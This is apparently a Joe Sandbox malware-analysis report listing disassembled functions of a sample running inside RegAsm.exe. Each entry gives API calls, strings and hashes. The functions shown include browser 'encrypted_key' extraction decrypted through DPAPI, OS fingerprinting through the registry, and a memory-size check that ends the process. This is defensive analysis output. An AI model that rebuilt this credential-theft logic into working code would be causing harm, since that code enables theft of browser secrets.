API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00C4AC18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,00C4B588,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,00C51B78,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,00C4B588,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT(?,?,?), ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C94C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C94C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C94C969
GetSystemInfo.KERNEL32(?), ref: 6C94C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C94C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C94C9E2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction ID: dcada75d9ce94d08f36fa97ed00bd3649ca3452fef7d7d99ec2053b654dfec6b
Opcode Fuzzy Hash: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction Fuzzy Hash: 2A21D736745214BFDB04AA79DC94BAF73B9AB86744F60452AF903A7A80DB70DC04C794

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00C4A988), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00C4A9A8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00C4AAD8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00C4A988), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00C4A9A8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00C4AAD8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00C4ACA8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(00C51688,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00C4AC18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(00C4ACA8,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

